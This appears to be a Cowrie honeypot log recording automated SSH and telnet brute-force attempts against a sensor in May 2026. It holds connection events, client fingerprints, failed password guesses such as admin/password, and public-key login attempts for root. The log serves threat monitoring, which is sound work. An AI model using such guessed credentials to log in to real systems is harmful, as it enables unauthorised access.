{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56016,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcec56c329ac","protocol":"ssh","message":"New connection: 192.109.200.237:56016 (159.203.135.109:22) [session: bcec56c329ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:50.708478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:50.713101Z","src_ip":"192.109.200.237","session":"bcec56c329ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:50.795303Z","src_ip":"192.109.200.237","session":"bcec56c329ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:51.042489Z","src_ip":"192.109.200.237","session":"bcec56c329ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:52.128746Z","src_ip":"192.109.200.237","session":"bcec56c329ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56036,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf3edc871b44","protocol":"ssh","message":"New connection: 192.109.200.237:56036 (159.203.135.109:22) [session: bf3edc871b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.189110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.284347Z","src_ip":"192.109.200.237","session":"bf3edc871b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.288904Z","src_ip":"192.109.200.237","session":"bf3edc871b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.640554Z","src_ip":"192.109.200.237","session":"bf3edc871b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":11890,"dst_ip":"10.17.0.5","dst_port":22,"session":"76644deead9f","protocol":"ssh","message":"New connection: 206.212.244.18:11890 (10.17.0.5:22) [session: 76644deead9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.656730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.661852Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.673603Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:cf:f6:a1:07:1e:7c:09:68:f2:23:9c:6b:ba:48:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDypkOTnvsiBqGhlassg8+ertFFRRVOSLGymBiFAtDqzHeacAqM1YrQ2iGtKw0Stzir3AGtcyXMAja9bSGWKUuI7XV9ygYRxDW4nqiLj5ODJxMJ6/dpMGEkrw7R0lZGQQetFqeaH3IWY0nGybskt30lsSA5n5oUKw9SPp4IPzfVWdGJexEvNyrcm35O28Xl/yWVMUtdTgdW+4Ec73ibLuSChtBEMj9D2ScdrcHx3GXzmzXj+7PFybcJfK+CMI8v7s+srE1/iL07hW/3TMU/RxvccUSDn8Bq+lZxO7SX1ZVfp4b8MjH+sfvU0tC5J/1U0h7oklqghIC+cVUJwlLL0vlf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:cf:f6:a1:07:1e:7c:09:68:f2:23:9c:6b:ba:48:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.716004Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:cf:f6:a1:07:1e:7c:09:68:f2:23:9c:6b:ba:48:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDypkOTnvsiBqGhlassg8+ertFFRRVOSLGymBiFAtDqzHeacAqM1YrQ2iGtKw0Stzir3AGtcyXMAja9bSGWKUuI7XV9ygYRxDW4nqiLj5ODJxMJ6/dpMGEkrw7R0lZGQQetFqeaH3IWY0nGybskt30lsSA5n5oUKw9SPp4IPzfVWdGJexEvNyrcm35O28Xl/yWVMUtdTgdW+4Ec73ibLuSChtBEMj9D2ScdrcHx3GXzmzXj+7PFybcJfK+CMI8v7s+srE1/iL07hW/3TMU/RxvccUSDn8Bq+lZxO7SX1ZVfp4b8MjH+sfvU0tC5J/1U0h7oklqghIC+cVUJwlLL0vlf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.720063Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:08:d9:d8:af:01:0f:38:56:92:00:77:b2:16:64:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiPQrx8tdceqUfqriKoDuHYj5ieN9tKP3GxDXk3ArYFlDN9eDWm45eAvppCqTQz82/eloL0i0ztlZwVkTMdiDcDOnJ0uO4CNieNY/4jnScHST50pDO7vv+eRbvefKg1+z5iw23q2KOpO5Ab7vb+wsDNwgVbLfVt12VBlMNbuzWLwjrj+1xaDojqucZt4rdnWmCIULLQXDxh50Pt1bTka8R9jGuqFWs5UILc43BJe6GikXuCk/n8nen4smGPv53UbIhxQIt9CepSIn2LeXWBN4SC8cWiQ3yNEB1Jbh59Wfe8e146wrq/Lxd9xpqZG9RK5KJbtC8Moawam/NWrHvF8QU9ykEMh2wvjWeZ40t5VldrxvRUI8XLjn/Hjf0BBVbhEe9XAcqNrkr7bi+F000EtPXrOZrKS00lOFZtHN2jPkpgzhSAa7e7PqISly6KvjttkXGHi50NcTMfm8pCPkd2YomNyr9tqj6hInizYBstZ6+A8KdFdDb8FG7Qb/nIcHk/ednZaU3fhjbPahbQCV1PKyiGIWuN2T9rLLH/phPhT9b3UJ0Vg1otNRZluqR2uy+RYpj8wrH938kHHbD5LbrkFslSkmpa/V0Fr6u2P501NFdsZfbcC7+fBToXK21+ilIUbj6sDFpvEftemmXhj8hALM9BWQ/k18CH/3YDM6kW2/1HQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:08:d9:d8:af:01:0f:38:56:92:00:77:b2:16:64:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.733925Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:08:d9:d8:af:01:0f:38:56:92:00:77:b2:16:64:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiPQrx8tdceqUfqriKoDuHYj5ieN9tKP3GxDXk3ArYFlDN9eDWm45eAvppCqTQz82/eloL0i0ztlZwVkTMdiDcDOnJ0uO4CNieNY/4jnScHST50pDO7vv+eRbvefKg1+z5iw23q2KOpO5Ab7vb+wsDNwgVbLfVt12VBlMNbuzWLwjrj+1xaDojqucZt4rdnWmCIULLQXDxh50Pt1bTka8R9jGuqFWs5UILc43BJe6GikXuCk/n8nen4smGPv53UbIhxQIt9CepSIn2LeXWBN4SC8cWiQ3yNEB1Jbh59Wfe8e146wrq/Lxd9xpqZG9RK5KJbtC8Moawam/NWrHvF8QU9ykEMh2wvjWeZ40t5VldrxvRUI8XLjn/Hjf0BBVbhEe9XAcqNrkr7bi+F000EtPXrOZrKS00lOFZtHN2jPkpgzhSAa7e7PqISly6KvjttkXGHi50NcTMfm8pCPkd2YomNyr9tqj6hInizYBstZ6+A8KdFdDb8FG7Qb/nIcHk/ednZaU3fhjbPahbQCV1PKyiGIWuN2T9rLLH/phPhT9b3UJ0Vg1otNRZluqR2uy+RYpj8wrH938kHHbD5LbrkFslSkmpa/V0Fr6u2P501NFdsZfbcC7+fBToXK21+ilIUbj6sDFpvEftemmXhj8hALM9BWQ/k18CH/3YDM6kW2/1HQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.737915Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:dc:31:2a:57:41:f5:3c:d5:dd:bf:0d:8d:4d:9d:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfDurrULR1R/619xDIdZ7UxYLRXp5XnIci3Jv6V46/dQkeQ0Nafy1VkBe6nwm6jmFLs1VYcDngy6MeWMw79074VhzBgqS7GCK9BvvJ1LtmBXGOV3Jg596827C0MrcPQQaigyhdPOs1+wrRyY/qsL7ajnkWKvwepcYOW55e3fqnHG3zyodRbzzT4pzbBbwtZ/qdb4+QpoiuqhstmV4u/V7KLA8RgGYNh1TzbldgGwGPtoMy5TuElGeYW3DjCMQIQx67o9PTmZ16xa7jlXSYgnx8GLXPq/xTKIZHOGWUV3PP9hQ2iMtIlj5Aot4QvC5Sksyey0SsHLWAq2WZzomn8qVJnQwehwhcCmd7dJ4a46ORCOvkWs+03g1mgH8OzKHKa+jCPJVczfuEOHMeWXwWAeYsk+T2BUvw6cOkrQ0dw3IDYArPdyO9pFU/3zS/0aBTY+a9RcY+jzxv7cOAOVF84c+PBALzjZ8XYoQ39uF7+xq6bNQeZv0pxVA3yU4MktrSlHYv4wDJh8cxxCdWZIWM6fSkOnIYJ1ydtqQK0ZWmW3oKmay/XeoJDhefWJLIuBl/i9wPzZ8ID26+LE8M/x73R5ylBFLQ13SUyY93CP1cGhYfY9sOLrus0W6DwscMgDoyvAAuj4VZ7pbljgMF/HFmOR3Lej7ovmdA6vj8BIXR4H6Qqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:dc:31:2a:57:41:f5:3c:d5:dd:bf:0d:8d:4d:9d:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.752955Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:dc:31:2a:57:41:f5:3c:d5:dd:bf:0d:8d:4d:9d:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfDurrULR1R/619xDIdZ7UxYLRXp5XnIci3Jv6V46/dQkeQ0Nafy1VkBe6nwm6jmFLs1VYcDngy6MeWMw79074VhzBgqS7GCK9BvvJ1LtmBXGOV3Jg596827C0MrcPQQaigyhdPOs1+wrRyY/qsL7ajnkWKvwepcYOW55e3fqnHG3zyodRbzzT4pzbBbwtZ/qdb4+QpoiuqhstmV4u/V7KLA8RgGYNh1TzbldgGwGPtoMy5TuElGeYW3DjCMQIQx67o9PTmZ16xa7jlXSYgnx8GLXPq/xTKIZHOGWUV3PP9hQ2iMtIlj5Aot4QvC5Sksyey0SsHLWAq2WZzomn8qVJnQwehwhcCmd7dJ4a46ORCOvkWs+03g1mgH8OzKHKa+jCPJVczfuEOHMeWXwWAeYsk+T2BUvw6cOkrQ0dw3IDYArPdyO9pFU/3zS/0aBTY+a9RcY+jzxv7cOAOVF84c+PBALzjZ8XYoQ39uF7+xq6bNQeZv0pxVA3yU4MktrSlHYv4wDJh8cxxCdWZIWM6fSkOnIYJ1ydtqQK0ZWmW3oKmay/XeoJDhefWJLIuBl/i9wPzZ8ID26+LE8M/x73R5ylBFLQ13SUyY93CP1cGhYfY9sOLrus0W6DwscMgDoyvAAuj4VZ7pbljgMF/HFmOR3Lej7ovmdA6vj8BIXR4H6Qqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.757240Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:6c:21:65:de:e4:14:34:d9:10:1e:13:06:0f:e7:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKEc9jEH8TE55HiYpQaMTgVH8mqF///HJU+asVYSChKewl67ifxIve04lyBglSoi9JMuJ15z+6+KUwrywj083DKTnqRXn87JQ/dx88sAUIg/sgaoqr0P5Yf4KeQ0GRAZ0fjYU5OJaMTnOORbBDKA/cVvyxKo7DGj7RE+qez7Ir18KRczu3DH/QYnRjemA5kHa6ww5YtpcZPX/AS2BQ5U32QXGXEc6P1RWF/VqQjWreyETTnUGoAr0Hk2wQptvAYbZra43Udx+1j5usIo61U2udQJL/vIcCMXzI4PmkwRmS7MFb7CGxGqKMzuVkuRdKUAqbiqOLYRGddk/o30VIR+S1RlRQgh+3E8QZAgjAZvbCXQnuGEJmNXow+XloJW28Leb9ElD3X7RNHXz4cymr2s0MH9JzjjAv9sk03JNHJ7R0yHhry1WjjUaIkCUZtKJD6I7PSme+6xhFGzz+Jzcsx8O6pohb30UnEfZYLV5PAapfQI1euH6vaSrxYiyKmSNmeYLT9FFaLwrZ8CV3/pG16RHnI8Y/T08MOpjNhf1ekKA40UXad/EMILDMX9CjRMKBiOGorTMpY/re/GVbk8slBS6snStq7pvaJVe+FchLqrsXGJpk717sWGKziee7yd6SmOII5ko0a390+7dWGcEpeDumo9COPzvpPA4FCl0q3XWuzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:6c:21:65:de:e4:14:34:d9:10:1e:13:06:0f:e7:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.773702Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:6c:21:65:de:e4:14:34:d9:10:1e:13:06:0f:e7:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKEc9jEH8TE55HiYpQaMTgVH8mqF///HJU+asVYSChKewl67ifxIve04lyBglSoi9JMuJ15z+6+KUwrywj083DKTnqRXn87JQ/dx88sAUIg/sgaoqr0P5Yf4KeQ0GRAZ0fjYU5OJaMTnOORbBDKA/cVvyxKo7DGj7RE+qez7Ir18KRczu3DH/QYnRjemA5kHa6ww5YtpcZPX/AS2BQ5U32QXGXEc6P1RWF/VqQjWreyETTnUGoAr0Hk2wQptvAYbZra43Udx+1j5usIo61U2udQJL/vIcCMXzI4PmkwRmS7MFb7CGxGqKMzuVkuRdKUAqbiqOLYRGddk/o30VIR+S1RlRQgh+3E8QZAgjAZvbCXQnuGEJmNXow+XloJW28Leb9ElD3X7RNHXz4cymr2s0MH9JzjjAv9sk03JNHJ7R0yHhry1WjjUaIkCUZtKJD6I7PSme+6xhFGzz+Jzcsx8O6pohb30UnEfZYLV5PAapfQI1euH6vaSrxYiyKmSNmeYLT9FFaLwrZ8CV3/pG16RHnI8Y/T08MOpjNhf1ekKA40UXad/EMILDMX9CjRMKBiOGorTMpY/re/GVbk8slBS6snStq7pvaJVe+FchLqrsXGJpk717sWGKziee7yd6SmOII5ko0a390+7dWGcEpeDumo9COPzvpPA4FCl0q3XWuzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.776889Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:9a:2a:56:90:41:c1:37:f3:eb:4f:0f:de:56:f6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjiQWWN5HEmfSgPDXcXkVlnXVl+Xt3iiOfKxnFOJsR6ZuAMhQ40g+JK2/RWznMIAVfpOWFyGxuXenyyr8C+H1WhGX7uqyjg0T9lgCZCA2NLpW5TBN7vnSgZnIACi+YdTHr6Pende7PmZTGqOU8YlliLGs6MmTGL1nCVswI07qV2YFRopbz+URGiML2THQPvErYs0Zec5bX+BMKU3Yv7+YA8bao07ch/xuv44te/VbgpcMpHupOBkUqN7JGTExRp7d+ZcfIygz2G7+gtiPqgLWKGGkTctWi1mzMuwy5Z+o4WdaQAzRupcsMjDn3w97uyQ2nACzfLCIH1yszALP/MoNL4WfnVyGOk2LZh5noJSZydbscnUvowP14tFTi+aEnL72lT9JamEUYmO+bB4T65B/w5+dlizIJMt8aZNVL3e+Zl+qNAXWdiVyUsPJyufZeL5pf3UQtVGlbyJFhwzfyDzyZ/FDhDIGpwpaZdyxTUrcWINu4MxCCR9dKMxwDlX8uHEUqagkemMC1S3IKAkzv5oYtg9MPsbihDg9KJUME+LA19x3VMLHvv36Da0mKBcORjCOFK80kCWsCDZG0iNZFp6tpiADezVl8slwM43snUcm0SOzAJJoCHGWm/53JMmO77tEyPC2Et3Llxr5WvrvWtaRObmAWWhswEHMvyMUOAbpy9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:9a:2a:56:90:41:c1:37:f3:eb:4f:0f:de:56:f6:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.790328Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:9a:2a:56:90:41:c1:37:f3:eb:4f:0f:de:56:f6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjiQWWN5HEmfSgPDXcXkVlnXVl+Xt3iiOfKxnFOJsR6ZuAMhQ40g+JK2/RWznMIAVfpOWFyGxuXenyyr8C+H1WhGX7uqyjg0T9lgCZCA2NLpW5TBN7vnSgZnIACi+YdTHr6Pende7PmZTGqOU8YlliLGs6MmTGL1nCVswI07qV2YFRopbz+URGiML2THQPvErYs0Zec5bX+BMKU3Yv7+YA8bao07ch/xuv44te/VbgpcMpHupOBkUqN7JGTExRp7d+ZcfIygz2G7+gtiPqgLWKGGkTctWi1mzMuwy5Z+o4WdaQAzRupcsMjDn3w97uyQ2nACzfLCIH1yszALP/MoNL4WfnVyGOk2LZh5noJSZydbscnUvowP14tFTi+aEnL72lT9JamEUYmO+bB4T65B/w5+dlizIJMt8aZNVL3e+Zl+qNAXWdiVyUsPJyufZeL5pf3UQtVGlbyJFhwzfyDzyZ/FDhDIGpwpaZdyxTUrcWINu4MxCCR9dKMxwDlX8uHEUqagkemMC1S3IKAkzv5oYtg9MPsbihDg9KJUME+LA19x3VMLHvv36Da0mKBcORjCOFK80kCWsCDZG0iNZFp6tpiADezVl8slwM43snUcm0SOzAJJoCHGWm/53JMmO77tEyPC2Et3Llxr5WvrvWtaRObmAWWhswEHMvyMUOAbpy9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.795106Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:54.812904Z","src_ip":"206.212.244.18","session":"76644deead9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42349672317505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:55.355873Z","src_ip":"50.6.8.71","session":"afe3b7045cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:55.724512Z","src_ip":"192.109.200.237","session":"bf3edc871b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31168508529663,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:56.088992Z","src_ip":"50.6.8.71","session":"55b001ca0a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d32c3027306","protocol":"ssh","message":"New connection: 192.109.200.237:56056 (159.203.135.109:22) [session: 1d32c3027306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:57.798337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:57.802943Z","src_ip":"192.109.200.237","session":"1d32c3027306","protocol":"ssh"}
